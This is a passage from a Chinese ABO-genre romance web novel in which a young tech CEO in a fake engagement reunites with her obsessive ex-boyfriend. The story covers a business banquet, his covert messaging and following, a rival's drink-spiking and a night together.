千述叫住路过的侍应生,拿了一杯托盘上的威士忌,准备往目标走过去。何延齐拉住她,轻声道:“你少喝一点,等会儿又醉了。” “放心,我心里有数。”千述无所谓道,目光看向那一堆人。 千述走在前面,笑意盈盈,何延齐紧跟在千述旁边。 只不过是一些商业应酬,千述经历过太多这样的场面。以前她话不多,性格也低调,但现在面对这样的应酬,千述已经游刃有余。 云起科技的老板第一次见千述,恍然道道:“原来你就是千述,我听过你的名字,智能科技的后起之秀,没想到本人还这么年轻,后生可畏。” 自从千 述接手千言,到现在,已经接近四年了,这四年也够她在行业里闯出一些名头来。 千述微微一笑,很谦逊。她适时向对方递上自己的名片,道:“很期待能跟云起合作。” 云起科技的老板笑着接过了;“好的,我也想见识见识年轻人的东西。” 云起的老板对千述的项目感兴趣,深度的了解。涉及到专业方面的知识,何延齐很自然的接过话,通俗易懂的解释着原理。 三人相谈甚欢。 这堆老总里面有人认识千述,跟她搭话:“千述,听说你前不久订婚了,真是恭喜。” “是身边这位吗?” 众人把目光放在一直跟在千述身边,沉稳的男beta。他们上午刚从何延齐父母家吃了午饭,现在两人手上都带着同样款式的订婚戒指。 何延齐侧头看了眼千述,千述面不改色的点头,微笑道:“是的。” 众人皆说好话:“就说呢,难怪看着这么般配。” 这边氛围还不错,大家都有说有笑的聊着天,谈论着最近的市场趋势。 宴会已经开始了一段时间,有人向四周望了望,奇怪道:“陆氏集团怎么没人来?” 这个宴会是在S市举行,陆氏在S市有分公司,按常理说,主办方首先就是邀请陆氏分公司的管理者。但是现在晚宴早就开始了,还没看到陆氏的人。 “不清楚。”有人摇头,也看了看周围,“估计没空来。” “那个小陆总,有幸跟他交手过一次,”有人谈到陆氏那个接班人。 千述端着酒杯,面色不变,慢悠悠的喝了一口,也不知道有没有在听。 “啧,跟他父亲那种温和的做派完全不同。小陆总眼光犀利,决策大胆,生意上不是好糊弄的主。” “如果好糊弄,前两年危难关头,也稳不住陆氏这么大一个企业。”有人感叹道。 “是啊,年轻人有魄力。” 他们这边正在说着,那边大门口就进来了一行人。只见举办宴会的商会会长,喜笑颜开迎着一行人进来,陆氏分公司的执行总裁走在中间那人身后。 四周的谈笑声戛然而止,众人皆往门口看去,露出惊讶的神色。 “他竟然来了。” “早知您会来,就派人去接您的。”主办方的商会会长说着,笑中带着谄媚。 商会会长看着身旁的这位alpha。 陆恪人长得高,一身剪裁锋利的黑色西装,穿在他身上更显笔挺。他眉眼锐利,不笑的时候就显得气质冷冽,不好接近 本来这个宴会的规格,邀请陆氏分公司的执行总裁来,都要人家赏脸。没想到下面的人通知,说陆氏总部的小陆总来了,商会会长大惊,连忙出去迎接他。 “飞机晚点了,所以来得晚了些。”陆恪平静道。 “不算晚,不算晚,也才刚开始一会儿。”会长忙接话道,带着人往会场的中心走去。 陆恪才来一会儿,周围就围满了人,连云起科技的老板也端着酒向他走过去。这样难得的可以跟陆氏打交道的机会,许多人都想要抓住。 宴会上因为陆恪的到来,焕发了生机,大家都在高谈阔论 千述看见门厅那道修长熟悉的身影时,还以为是自己喝花了眼。 四年都没见过的人,猝不及防的就出现在自己眼前,任谁都会愣怔一下,反应不过来。 陆恪变了很多,尤其是气质,更沉稳,更冷冽。 他以前是那种像火焰一样,张扬放肆,靠近他都会觉得灼人。但是现在变得像冷硬的磐石,具有压迫感,看不透他心底在想什么。 千述说不上来现在是什么感受,但是很明显,她并不想跟前男友见面,然后叙旧。 这样的桥段太狗血了,也很尴尬。 “我们现在走吧。”千述靠近何延齐,低声道。反正合作已经谈好了,千述也没必要死磕在这里。 宴会厅里有些吵,何延齐听不清千述的话。他稍微弯了弯腰,低头,耳朵贴近千述。 千述喝了些酒,脸色微微泛红,但她脑子还很清醒,没有醉。 两人看着有些亲密。 他们正准备走,身后就传来云起老板兴奋介绍的声音。 “小陆总,这两位就是千言集团的掌事人。这位是千述,公司的ceo,另一位叫何延齐,是项目负责人。” 随后,云起老板又大声道:“千述,小陆总对你们的项目感兴趣。” 周围的人都看向他们,千述脚步顿住,绝望的闭了闭眼。 断联后偶遇前任怎么办? 在线等,挺急的 尽管脑海里无数个“卧槽”闪现而过,但千述还是在两秒内收拾好表情,然后转过身去,面带微笑。 “小陆总你好,我叫千述。” 千述走上前,很自然的介绍自己,很自然的伸出右手与陆恪握手。 陆恪跟千述四目相对,但是只一眼,陆恪就撇开目光,不再看千述,很冷漠。 不仅不回应千述,也没有接受她的握手。 在场的人看见这剑拔弩张的一幕,有些莫名。尤其是云起的老板,觉得不能理解,刚刚不是小陆总说要认识千述的吗。 怎么现在好像不是很喜欢千述的样子。 千述没说什么,带着笑,面不改色的收回手。 陆恪将眼神放到千述身边的男beta身上。 他定定的看了何延齐两秒,随后主动跟何延齐握手:“你好,我叫陆恪。” 何延齐也很礼貌的抬手:“何延齐。” 陆恪只是轻轻握了握何延齐的手,就松开,似乎没有太多的含义。 接下来就是常规的项目介绍环节。不得不说,千述跟何延齐在生意上已经是老搭档,两个人合作默契。千述在聊的时候,何延齐会适时的给她补充落下的要点。 这样的默契,不是一朝一夕可以养成的。 陆恪只是很沉默的听着,面上没什么表情。但如果是很熟悉他的人,例如方知明在场,就能看出来,现在陆恪的心情十分糟糕。 “这个项目不错,我会让业务部的经理跟进千言的项目。”陆恪淡淡道。 就是有合作意愿的意思。 陆恪端了杯酒给何延齐,要跟他碰杯。在场的人都能看出来,这位小陆总在有意无意的忽视千述。 何延齐有些为难,看向千述。千述心领神会,接过陆恪的酒,道:“他酒精过敏,不能喝酒,这杯我替他喝了。” 这份亲密,让在场的人都笑了。 有人打趣道:“千述看着年纪小,还是个会疼人的。” “可不是吗,自己的人,肯定自己心疼。” 陆恪看着千述一饮而尽,他的手缓缓放下,垂在身侧,蜷缩着。 良久,陆恪冷笑一声,眼尾莫名泛着红 陆恪不走,千述他们也不好直接走。 陆恪似乎心情有些不好,已经在席间喝了很多酒。大家给他敬酒,他几乎来者不拒。不像何延齐,一点也喝不了,会让千述心疼。 他喝得连身边的助理,都觉得有些过,替他挡了很多酒。 应该是喝醉了,很莫名其妙的,陆恪醉眼朦胧的看着何延齐,把何延齐看得浑身不自在。 陆恪勾唇一笑,涩声道:“听闻你们订婚了?” 何延齐不清楚为什么这位矜贵的小陆总一直跟他搭话。何延齐不了解千述的过去,千述也从来没说过。 所以何延齐根本不知道,他跟陆恪的关系,是现任和前任的关系。 “是的,前一段时间。”何延齐回答。 “恭喜。”陆恪低声道,声音轻的像要碎在空气中。 “谢谢。”何延齐礼貌道。 “冒昧问一下,何先生是beta吗?”陆恪又问。 何延齐点头,道:“是的。” “挺好的。”陆恪微笑,嘴角又很快落了下来,并不像开心的样子。 他的目光不期然落在何延齐的无名指上。戴在无名指的戒指很低调,不是很奢华的款式,但是很符合千述的审美。 陆恪的眼睛就像 被烫到一样,慌忙挪开视线。 “那你们什么时候办婚礼,应该快了吧,毕竟你们……”陆恪顿了一下,语调变缓,“你们感情很好,应该想要早点结婚。” 陆恪似乎对他们的婚事格外感兴趣。 “这个”何延齐不知道要怎么回答。 他和千述连订婚都是假的,更加别说结婚了,根本不可能。但是何延齐也没傻到把这些私事拿出来说。 “现在还早,我们的精力主要放在工作上,再过一两年吧,不着急。”千述替何延齐解围。 “是的,我们现在还不着急。”何延齐在一旁迎合千述的话。 “也是。”陆恪喃喃道。 陆恪终于抬眼看千述,这应该是今天,他第一次这样认真的把目光放在千述身上。 千述离开他好像变得更好了。 她变得善谈,变得爱笑。有了自己的事业,也有了自己的爱人。 陆恪想,他应该祝福她的,真诚的祝福她,但是他没办法说出口。让他毫无芥蒂的祝福千述和别人幸福。 这对陆恪来说太残忍了。 …… 陆恪的眼神变了,千述终于从他漫上泪意的眼眸中,找到一点点大少爷从前骄矜的影子。 千述简直如临大敌,她从前总是招架不住陆恪的眼泪。 “我才想起公司还有事情需要紧急处理,就先告辞了。”千述拉着何延齐的手腕站起身来,准备转身离开。 何延齐的目光在千述和陆恪的身上转了一圈,好像清楚了一些。 “千述。”陆恪在身后叫住她。 千述脚步一顿,没有转过头来。 “千述,他就是你说的,适合你的beta吗?”陆恪的尾音带着颤。 千述没回答,走了 千述坐在副驾驶,头靠在椅背上,闭着眼,蹙着眉心,很烦恼的样子。 何延齐没喝酒,就由他来开车。 “送你回去还是住附近的酒店?”何延齐问道。 千述的家离这边比较远,是在公司那边。她为了图上班方便,就在公司附近买了套房子,一直住到现在。 “回家吧。”千述捏了捏眉心,道,“我明天要请假休息一天,感觉最近有点累了。” 千述确实,她身为老板基本上全年无休的工作。别的员工,包括何延齐都有法定节假日,但千述是放假都要加班的。 她很拼,令人佩服。 今天难得的,见千述主动说要请假休息。 何延齐开车稳当,行驶在路上。 “你和那位小陆总”车里,何延齐开口,他思索一下,继续道,“关系匪浅?” “他是我前任。”千述闭着眼,随口道。 何延齐:“?” 他愣两秒,震惊道:“你跟小陆总谈过恋爱?真的假的。” 不怪何延齐惊讶,说真的,他跟千述认识两年了。这两年追千述的人挺多的,有些人就算知道千述有他这个名义上的男友,还往千述身上贴。 何延齐当然不介意这些,因为他们一开始就说好的,互不干涉对方的感情生活。 但是千述从来没动心过。 她对待任何追求者都是心平气和,无欲无求。何延齐一度以为千述是母胎单身,从没谈过恋爱。 没想到千述不仅谈过,还是一个重磅级别的。 千述睁眼,转过头问道:“看不出来吗?” “现在看出来了。”何延齐答道。 难怪刚刚陆恪老问他结婚的事情,谁遇到前任要结婚了,都会问一嘴吧。 “那你们为了什么分手?”也就是关系熟了,何延齐好奇的问出口。 千述看着窗外,黑压压的,也没什么好看的,千述收回目光:“不太合适,各方面的。” 何延齐想了想那位小陆总的家世,又听说他是alpha。 “那确实不太适合。”何延齐了然道 千述回到家的时候,就把自己摔在沙发上。千述喝了酒,所以脑袋很晕,也不想动。 她闭着眼睛,脑海里开始浮现刚才陆恪带着泪的眼眸。 但是陆恪这次没哭出来,很倔强的含着泪。可能这四年他也成长了很多,没有以前那么情绪化。 脑子里全是陆恪的眼泪,现在的,以前的,床上的,床下的,太多了。 以前四年都没怎么想过,这才见第一面就铺天盖地的涌上来。 千述低斥一声,骂自己没定力。 她把手机扔在沙发上,起身去洗漱。等她收拾好,已经到了晚上11点。 因为明天不用去公司,千述心里也觉得轻松很多。她拿着手机,靠在床上刷一会儿社交平台,然后再玩一下无聊的单机游戏。 她的生活就是这么的乏善可陈,但是千述适应良好。 差不多快到晚上十二点了,她准备放下手机睡觉。这个时候微信跳出来一个好友请求,是一个陌生的号码,通过账号搜索添加的。 头像是一个玩偶小鹿的照片。 千述看着头像有些熟悉,但她现在晕晕的,实在是记不起来。千述也没想太多,她以为是今天在宴会上认识的商业伙伴,就同意了好友申请。 那边似乎没想到千述一下子就同意了申请,输入了很久也没发送过来。 良久,那边发了一条消息过来:“你到家了吗?” 很熟稔很亲密的语气,这并不像一个陌生人。但是喝得微醺的千述没有反应过来。 “嗯,到了。”千述回答。 “现在很晚了,你早点睡觉吧,晚安。”那边紧接着回复。 然后发了一个小猫盖被子的动图过来,很可爱。 “晚安。”千述回复 而在手机的另一边,五星级酒店里,方知明在跟陆恪打视频。 “陆哥,听说你去S市了?”方知明有些犹豫的问道。 这几年S市都快成陆恪的禁区了,他身边没人敢在他面前提S市,陆恪也从来没去过。 “嗯,来参加一个商贸会。”陆恪回答。 他靠在床上,穿着白色的浴袍,刚刚洗了吹干的头发很柔软的贴在额头上。床上放着电脑,打着视频。陆恪则拿着手机,似乎在打字。 “叫分公司的人出席就行了,你何必自己去。”方知明有些不赞同道。 主要是千述在S市,如果去了,碰见了又怎么办,方知明根本不敢想陆恪的反应。 陆恪没答,眼睛盯着手机,很认真。 “陆哥。”方知明在电脑那边唤了一声,陆恪抬头看向电脑屏幕。 方知明犹豫了一下,继续道:“听说千述订婚了,对象是个beta,你知道吗?” 陆恪拿着手机的手一僵。 半晌,他抿唇道:“我知道。” 方知明心里叹息一声,道:“她找了一个beta,肯定是冲着结婚去的。” 现在方知明还是对千述怀恨在心,她倒是美美订婚了,她可曾想过半分被她丢下的人。 “陆哥,过去的事情应该翻篇了。我知道你心里对千述有恨,你不甘心,但也只能这样了。总不能去破坏别人的家庭吧,千述都已经订婚了。” 方知明知道陆恪性格偏执,所以提醒他一下,怕他做傻事。 陆恪眉眼低垂,睫毛在眼下投下一小片阴翳。他没说话,唇紧抿成一条直线,面色好像更白了一些。 空气凝滞。 突然,手机里弹了一条消息出来。 对面的人回复:“晚安。” 第67章 第67章不用负责 千述是有些烦恼的,尤其是那个陌生人每天都给她发消息。 “今天天气预报说S市会下雨,你记得拿雨伞,多添衣。” “你怎么总是加班,每次都看见你办公室亮着灯,要注意休息哦。” “你们楼下的咖啡厅出的新甜品很好吃,你有尝过吗?就是这个冰乳酪司康。” 然后还配上了一张甜品的照片,背景就是楼下的咖啡厅,很熟悉。 “你叫什么名字?”千述输入对话框。 那人没回。 然后过了两天又开始给千述分享日常,全是一些零零碎碎的,连路上看到一朵云也要发。 说这朵云是爱心的。 狗屁爱心,眼瞎了吧,在这儿没话硬扯。 千述隐隐知道对面的人是谁,觉得有些烦。 她实在没空跟别人上演这种纯情暗恋的戏码,本来想着把人直接删了,一了百了。但脑海中不期然的浮现出某人的泪眼。 太爱哭了,如果发现被删了,估计哭得更厉害。 千述没删他,也没再回复他的消息。但是对面的人乐此不疲,感觉要把这 几年没说的话,倒豆子一样全部说出来。 …… “今天我们得回去一趟,我父母那儿,麻烦你了” 快要下班的时候,何延齐来办公室找千述。 千述当时正在工作,聚精会神的看着电脑。她抬眼,道:“你妹放暑假要回来了?” 何延齐沉默半晌,点头道:“嗯。” “行。”千述答应,“不过得等我一会儿,我手里还有一些工作没处理完。” “没事,那边不着急的,你先忙你的。”何延齐忙道,有点不好意思。 “真的麻烦你了。”何延齐再次致歉,很客气。 千述眉眼微弯,笑道:“不麻烦,我也想吃叔叔阿姨做的饭了。” 相较于千述非常糟糕的原生家庭,何延齐则生长在一个和谐有爱的家庭里。 他的父母恩爱,性格也十分开朗淳朴。 还记得千述第一次以何延齐的女朋友去他家时,他父母早早的就开始准备,一大桌的菜,费了很多心思。 刚开门进入的时候,千述礼貌的叫叔叔阿姨。 何延齐的妈妈顿在原地,惊讶的看着千述,道:“哎呀!你就是几年前在敦煌那个小姑娘,是不是?!我们还拍了照片嘞!” 千述才恍然想起,何延齐妈妈是当时跟千述坐在一起的阿姨。 那顿饭吃得宾客尽欢,走的时候何延齐的妈妈给千述塞了一个很厚的红包,拿在手里沉甸甸的。太贵重,远超过了第一次上门包的数额。 千述当然不敢收这个红包,她跟何延齐本来就是假的,收了人家父母的红包就说不清了。 千述推拒。 何延齐的妈妈却硬塞给她,说:“我听延齐说了些你家里的事,可怜你妈妈去得早。你跟阿姨有缘,若是不嫌弃,以后你就当阿姨是你的妈妈,这红包权当是阿姨给你的见面礼。” 何延齐在跟家里介绍千述的时候,没说太深,只说她母亲很早去世,父亲也离开了。 千述已经记不得当时自己说了什么,或者,她可能愣愣的,什么都没说。因为她现在只能记得何延齐妈妈掌心的温度。 柔和温暖。 尽管事后千述把那个红包退给了何延齐,但是对他父母的印象却非常的好。 …… 千述下班的时候,一起去商场买了些礼品带过去。何延齐在她身边一直摆手拒绝,道:“你人去了就行,不用买东西的。” “这是我对阿姨叔叔的心意,你就别管了。”千述推着超市的购物车往前走着,何延齐跟在她的身边。 千述在低头挑茶叶,她突然抬头,望向自己的右侧。 没什么特别的,都是在闲逛的陌生人。 “怎么了?”何延齐问道。 千述摇头,坦然自若:“没事。” 何延齐家里是中产家庭,父母都是公职人员,已经退休了。 到的时候是何延齐的妹妹下来接的他们。女alpha很高,气场锐利,侵略性强。 说实话,她的长相气场,跟何延齐一家挺不搭的。毕竟一家子beta是生不出来alpha的。 吃饭是极开心的,以至于走时何延齐妈妈还有点不舍。 她拉住千述的手,依依不舍道:“小述,等过一个月老家的车厘子熟了,我托人给你带两箱过来。车厘子又大又甜,你肯定喜欢。” “谢谢阿姨,看样子我有口福了。”千述笑,温和有礼。 两人在说话的时候,何延齐就安静的站在千述旁边。 千述跟何延齐站在一起很般配,世俗意义上的模范情侣,无论是从长相还是性格,亦或者他们beta的身份。 很多道目光落在他们两人身上。 —————————————— 千述把何延齐送了回去,然后又开车回家。 现在已经晚上八点过了,路灯早早的亮起。一辆辆汽车疾驰而过,川流不息。 千述握着方向盘,她瞥了一眼后视镜,漫不经心的看着这辆跟了她好多天的车。 跟着千述上班,跟着千述下班,连去何延齐的家里,也跟着。 千述冷哼一声。 初夏的夜晚,空气已经有些燥热。晚风吹拂着发丝,不少人吃了饭以后出来遛弯跑步。 在快要到家的时候,千述找了个临时停靠点,停了车,后面那辆车也停了下来。 果然是跟着她的。 千述有点压不住自己的脾气,她直接下车,敲了敲那辆车的车窗。 车窗缓缓降下,是一张略显苍白的脸,连骄矜的眉眼都失了些颜色。 “千述,我……我只是路过……”车里的人有些慌张,似乎想要解释。 “不要再跟着我了,很烦。以前跟踪我,现在还是跟踪我,没完没了!”千述直接打断alpha的话,语气沉沉。 陆恪的神情一僵,脸色好像又白了一些。他抬眼看着千述,昏黄的灯光落在他的眼底,似乎有晶莹的泪意。 千述看陆恪这个可怜的样子,心里更烦躁了,语气更差。 “也不要再给我发一些无意义的消息,我不感兴趣。” 千述转身走了,上车,回家。 身后的那辆车停在那里,一动不动,不再跟了上来。 …… 后面千述的手机真的消停了很多,没有那些早安晚安的打卡,也没有了那些碎碎念念。那个对话框很快就被千述的各种消息淹没,沉在了最下面。 千述为此松了一口气,也忽略了心里最深处那一点点沉闷。 最近S市没有什么大事,唯一一件让各位老总感到惊讶的可能是陆恪调到了陆氏在S市的分公司。 按常理说,小陆总在总部干的好好的,怎么会突然调到分公司来,难道被流放了? 当然这只是大家的猜测,无从考究。 当陆凌风看到陆恪向总部打的申请,真是气得想吐血。 他立刻给陆恪打电话,厉声问道:“为什么突然申请调到S市去?” “S市那边市场发展空间大,我想深入了解。”陆恪已经在收拾家里自己的行李。 他其实没多少东西,需要什么都可以现买。只是床上的小鹿玩偶,还有两件衬衣,女款的,被陆恪一并塞进了行李箱里。 没有这些东西,他可能会失眠。 “别告诉我你又要去找千述!你想想她当初是怎么对你的,她那么狠心,利用完就把你丢掉,陆恪你别犯傻。” 陆凌风听着陆恪敷衍的解释,怕他重蹈覆辙,苦口婆心的劝。 陆恪的动作一顿,面色淡了几分:“不会。” “她已经跟人订婚了,我没有那么贱。” 陆恪的面上是没有任何情绪的,他只是很沉默的收拾自己的东西,耳边是陆凌风劝阻他的声音。 无外乎就是没有必要去S市,跟千述抬头不见低头见的,很尴尬。又说同一个坑,不能跌倒两次,下次看到千述就绕开走。最后家长式催婚 “既然千述都订婚了,你这个年纪也该找个omega成家立业。别到时候人家娃都打酱油了,你还孤家寡人。” 陆恪瞬间不想听了,心情变得很差劲。他把手机随意丢在一边,任陆凌风在手机那边自言自语。 电话是什么时候挂断了,陆恪也不清楚。 天色很 快暗了下来,夜晚的时候,云栖御庭会变得更加的寂静,空荡,没有人气。 陆恪孤零零的坐在沙发上,突然觉得很难忍受这沉默的空气,于是拉着行李箱提前了几个小时去机场。 …… 千述的对门来了新邻居。 对门本来一直是空着的,没人住。这两天突然开始有人进进出出,搬家具这些,千述路过看到。 只是从来没看到过新邻居的身影。 千述不怎么关心。 她最近在忙着工作,谈生意。这个饭局,是一位科技老总发起的,里面有千言一直想要合作的对象。 千述自然会出席。 这次出席,千述带的是女alpha龚阳阳。她说她超级能喝,千杯不倒,万杯不醉,千述信了,带她来挡酒的。 当初千言快要破产,搬到了S市,龚阳阳也跟着来了S市,后来就一直当着千述的助理。 谁想到龚阳阳比千述还不能喝,一杯就倒了…… 千述看着趴在桌上,醉得双脸通红的,呼呼大睡的女alpha,瞬间感觉一阵无语。 千述只能孤军奋战。 这次来参加饭局的,除了合作目标,还有千言的死对头,陈丰科技。陈丰科技就跟那狗皮膏药一样,不仅跟千言撞创意,还要抢夺千言的市场份额。 有好几次两边的员工起了冲突,闹到法院。 很明显,陈丰科技的老总在灌千述酒。 他给千述倒酒,油嘴滑舌的捧杀她:“千总虽然年轻,但实力不可小觑,我们这些老东西已经过时,该退出舞台了。这杯我敬千总的。” 千述接过酒,心里冷笑,别看对面的老东西姿态放的低,倒的酒可是满当当的。 “还得向各位前辈学习。”千述谦逊,完全不吃捧杀这一套。 她自然也不是吃素的,你一杯我一杯,对面的人先喝趴了。 酒局结束,千述先叫了车把龚阳阳送回去。 千述站在路边,面上还是一派云淡风轻之色,看起来完全不像喝醉的模样。她就这一点好,喝醉了也很唬人,其实脑子已经成浆糊了。 代驾来开车,千述坐在后座,蹙着眉心。她脸上开始泛起红意,不知为何,感觉一股热意从心底涌了上来。 “人呢,送到楼上的房间了吗?千述一个小丫头片子,跟我作对,今天要让她知道,生意不是那么好做的!”方才灌酒的陈丰科技老总满脸阴鸷。 他在酒里下了药,这次定让千述有来无回。 “老……老板,千总刚刚已经上车走了,我们这边的人没拦住。”手下的人战战兢兢道。 “什么?!”老总将酒杯猛的掷在地上,碎裂开来,“一群废物!醉成这样了,都没抓住她!” …… 代驾走了,千述坐在车内。 说实话,她能感觉出来自己的情况有些不对,身体太烫了。但是她现在完全醉了,脑子都是空白的。 残存的一点点理智让她给人打电话,她拿着手机,眼睛都是花的,也不知道打给了谁。 “喂?” “是千述吗?” 电话那头的人立刻就接了,似乎还有点不敢置信,尾音上扬。 千述呼出一口热气,仰着头,不知道自己说了什么,很快就没了清醒。 陆恪接到千述的电话时脑子都是懵的。 他搬来了S市,搬到了千述的对面。 他可能真的是个很卑劣,下贱的人,哪怕千述都不要他了,他还是像狗一样,想离她再近一点。 陆恪不敢让千述发现,怕被她碰见,然后生气,又说一些刺破他心脏的,冰冷的话。 他只能错开跟千述的出门时间。 …… 陆恪在地下车库接到了千述,她已经醉得神志不清。因为热,千述扯开了衣领上方的扣子,露出锁骨。 千述眼神迷离的看着他,下一秒,把人按在身下,吻了上去。 陆恪几乎被千述灼热的唇舌烫得脑袋发晕。太久违了,属于千述的吻,让陆恪立刻就红了眼眶。 千述舔舐着陆恪的唇,面上露出不满,她捏住陆恪的下巴,有点凶:“张嘴。” 陆恪启唇,任凭千述的舌尖进入,与他勾缠在一起。 千述的手往下,开始脱陆恪的衣服,有点着急。陆恪一把握住千述的手,不准她往下。 他讨好一般亲了亲千述的手指,有些羞耻道:“千述,我们上去好不好,我不想在车里,会被人看到。” 大少爷是这样的,很娇气。 …… 地毯上,沙发上都是衣服。如果千述清醒,她就会发现这套房子的格局和自己家如此相似,只是装修有点区别。 但是很显然,她现在并不清醒。 alpha跪在她的面前,千述靠在沙发上,手抓着alpha柔软的发。 客厅里只开了一盏灯,有些昏暗。 陆恪从她身下抬起头,唇上泛着莹润。他看着千述,视线缠绵,千述把人拉起来,拍了拍他的脸,漫不经心的力道。 “有东西吗?” “……有”陆恪哑着声音。 在快要进入的时候,陆恪突然就很害怕,很想哭,他紧紧抓住千述的手。力度之大,让千述都忍不住皱了皱眉。 “你不想做?”千述不耐烦的问道。 陆恪摇头,哽咽着:“不是……不是。” “千述,千述你知道我是谁吗?” 陆恪非常难过,勾住千述的后颈,头埋在她的颈窝里,眼泪落下。 她把他当成别人了吗?当成何延齐。 他们也做过吗?肯定都做过了,他们都要结婚了。 陆恪含泪的眼眸直直的看着千述,很执拗的问她:“千述,我是谁?” “你说出我的名字,我就给你。” 千述没说话,她盯着陆恪的眼泪。四年前那种熟悉的,很麻烦的感觉又涌了上来。尽管脑子仍旧不清醒,但是直觉还在救她。 别跟眼前这个人产生联系,会有无穷无尽的麻烦。 千述呼出一口气,抽身,开始拿起沙发上的衣服,很强的意志力让她离开这里。 “千述……” 怀里的热度突然消失了,陆恪呆滞的看着千述离开的身影。就像四年前一样,千述也是很冷漠的抽身离开,无论他怎么求她。 那些黑暗,冰冷的记忆涌上陆恪的心头,陆恪沉溺在这些痛苦的记忆中,无法挣脱。 脑海里的声音尖啸,千述要走了,她又要丢下你! 要想办法留下她。 留下她。 陆恪的脑子已经滑入了偏执,他拉住千述的手,把她的手着急的往自己身上放。 “千述,没关系的,你把我当成谁都可以。” “不用负责的,千述。” 第68章 第68章一夜情 喝酒误事。 千述真想把这句话刻在自己脑子上,时刻警醒自己。 怀里是alpha温热的体温,赤裸着的,很依赖的紧贴着千述。只需微微低头,就能看见他脖颈间,锁骨上的红痕,依稀可见昨晚的疯狂。 “不准哭。”在昏暗的房间里,千述掐着alpha的腰。 明明是他拉着千述不让走的,现在又泪涟涟的,就好像做了多委屈他的事情一样。 其实到了后面,千述 的药效也去得差不多了,她其实看到alpha的第一眼就认出了他。怎么会认不出他呢,他身上的所有敏感点,千述都知道。 “千述,我很想你。”陆恪小声的说。 陆恪很努力的取悦她,亲她,像小猫一样蹭着千述的唇角。 “我每天都想你,我总是睡不好,有时候能梦到你,有时候梦不到。梦里你对我一点也不好,总是骗我,但我还是想要梦到你。” “我来S市找过你,我从医院偷偷跑出来的,我到S市,给你打电话,但是你把电话号码注销了。” 陆恪越说越难过,最后哽咽道:“你是不是一点也不喜欢我了?” “嗯,不喜欢了。”千述回答,抬手给陆恪擦眼泪。 “不行!”陆恪抬腿勾住千述的腰,语气强势,“你必须喜欢我!” “你怎么这么霸道,你让我喜欢,我就得喜欢?”千述反问,她语气冷漠,“四年过去,再深的感情也淡了。” 陆恪怔怔的看着千述,泪又滑落下来:“可是可是我还很喜欢你啊,怎么办” “你能再喜欢我一点点吗?” 陆恪感觉自己心都要碎了,他太讨厌千述了。 “不能。”千述勾唇,恶劣道,“不喜欢就是不喜欢了。” 她拍了拍陆恪的腰,语气平静道:“转过去,换个姿势。” 记忆回笼,千述又闭了闭眼,有点绝望。 人有时候真越怕什么,就越来什么。无数次提醒自己,要把持住,要有定力,不要再去招惹他。现在好了,人都在自己床上了。 千述面无表情的睁开眼,看着天花板。 阳光透过窗帘的缝隙落进屋里,昭示着今天是个好天气,耳边是alpha清浅的呼吸声,睡得很熟。说实话,还真有几分岁月静好的感觉。 疯了。 千述头疼。 她有点不想面对,甚至觉得操蛋。 千述当时离开的时候,是做好了一辈子再也不相见的准备。 beta和alpha在生理上的不适配,让千述对他们之间的感情一直持着悲观态度。再加上与他父亲的交易,以及陆恪感情的扭曲偏执,那段时间,压抑得千述几乎喘不过气来。 所以她说:“我有点累了。” 但是千述不否认自己是喜欢陆恪的,甚至这么多年来只喜欢过他。喜欢上陆恪是一件很正常的事情,他太炽热了,无论是他的性格,还是他的爱。 但是太麻烦了。 喜欢陆恪是一件很麻烦的事情,要花费很多的心思。 千述又想叹气了 她抬手轻轻的摸alpha的脸,陆恪瘦了很多,脸上的线条变得更加锋利,冷硬。摸着摸着,千述的手就滑到了陆恪的后颈。 这是腺体所在的地方。 原本光滑的腺体,变得不再柔软,指尖划过时能感受到粗糙的凸起,那是自残留下的疤痕。 那个时候伤的很严重,贯穿性的伤口,差点就让陆恪失去腺体,千述怎么捂也没办法阻止鲜血流失,陆恪倒在她的怀里,鲜血沾在千述的手上,衣服上。 说实话,千述当时挺崩溃的。 她已经是一个情感很淡薄的人了,仍旧在陆恪自残的时候慌了神。哪怕这么多年过去,回想到那时,还是会胆战心惊。 他怎么就这么疯,连alpha的身份都不要了,甚至连命都不要了。 千述睫毛颤了颤,松了手,离开了那处的皮肤。 温热的泪沾湿了千述的锁骨,怀里的人还闭着眼,但是睫毛已经被眼泪打湿,变成了一绺一绺。 陆恪在千述摸他脸的时候就醒了,但是他不愿睁开眼睛。和千述在一起的日子恍若隔世,只是简单的相拥都让陆恪觉得恐慌,害怕这只是梦境。 如果是梦,那可以让梦更长久一些吗? “醒了?”千述漫不经心的玩着alpha纤长的睫毛,问道。 alpha往她的怀里更深处蹭了蹭,就是不愿意睁开眼睛。 “你爱装睡,你就继续睡,我要回去了。”千述佯装要起身,推开了怀里的人。 “不准走!”陆恪立刻睁开眼,紧紧的攥住千述的手,“你不准走!” 千述看着陆恪脖子上的红痕,那还不是最严重的。胸上,往下面掩在被子下的,青紫交加,看得千述喉咙紧。千述只能把视线放在陆恪的脸上,alpha的眼眶太红了。 “大早上的,哭什么哭。”千述不耐烦的给他擦眼泪。 陆恪睁着眼,直直的看着她,然后偏头,一口咬在千述的虎口上。轻微的刺痛,千述没有抽回自己的手。 这似乎是alpha的一种宣泄。 时隔多年,埋在心中怨恨的一种宣泄。 “千述,我讨厌你。”陆恪许久才松开千述的手,含恨意道。 千述轻轻“啧”了一声 等两个人都洗漱收拾好,情绪稍微平稳的时候,才开始了两人重逢后第一次正式的交谈。 没了刚醒时的温情,气氛有些凝滞。 两个人都四年没见了,离开的时候又闹得那么难看。现在两个人单独相处,没了酒精上头,其实是有点尴尬的。 “你腺体伤得严重吗?”千述问道。 她当时听到手术成功后就离开了,不知道后续的恢复情况。 “还好。”陆恪简洁道。 其实并不是很好,他当时腺体虽然保住了,但是留下了后遗症。最明显的就是alpha信息素减少,易感期对标记的依赖度降低。 这意味着他和omega的匹配度降低。 陆凌风听到这个报告,面上浮现担忧之色,他私下去问医生:“那以后和omega在一起,还能永久标记吗?” “可以是可以,只是易感期变得平和了很多。”医生一本正经道。 在别人看来可能会很糟糕,或者有损alpha的尊严。但是在陆恪看来,完全无所谓,他巴不得自己变成一个beta,让千述没有推开他的理由。 “那就行。”千述点头道,没有多问。 两个人又不说话,空气的流速都变得缓慢起来。 良久,千述开口了:“昨天晚上的事情,我喝醉了脑子不清醒,可能有点过分。” 千述的话一开口,陆恪猛地眼,不可置信的看着她,面色一下子变得极为难看。 千述没停,语气平和,继续道:“有冒犯到你的地方我可以道歉。想要什么赔偿,你可以直接提,我能办到的,我会尽最大能力办到。” “千述,你什么意思?”陆恪咬牙切齿的说着,尾音却泄露出一丝颤抖。 “一夜情的意思。”千述直白道。 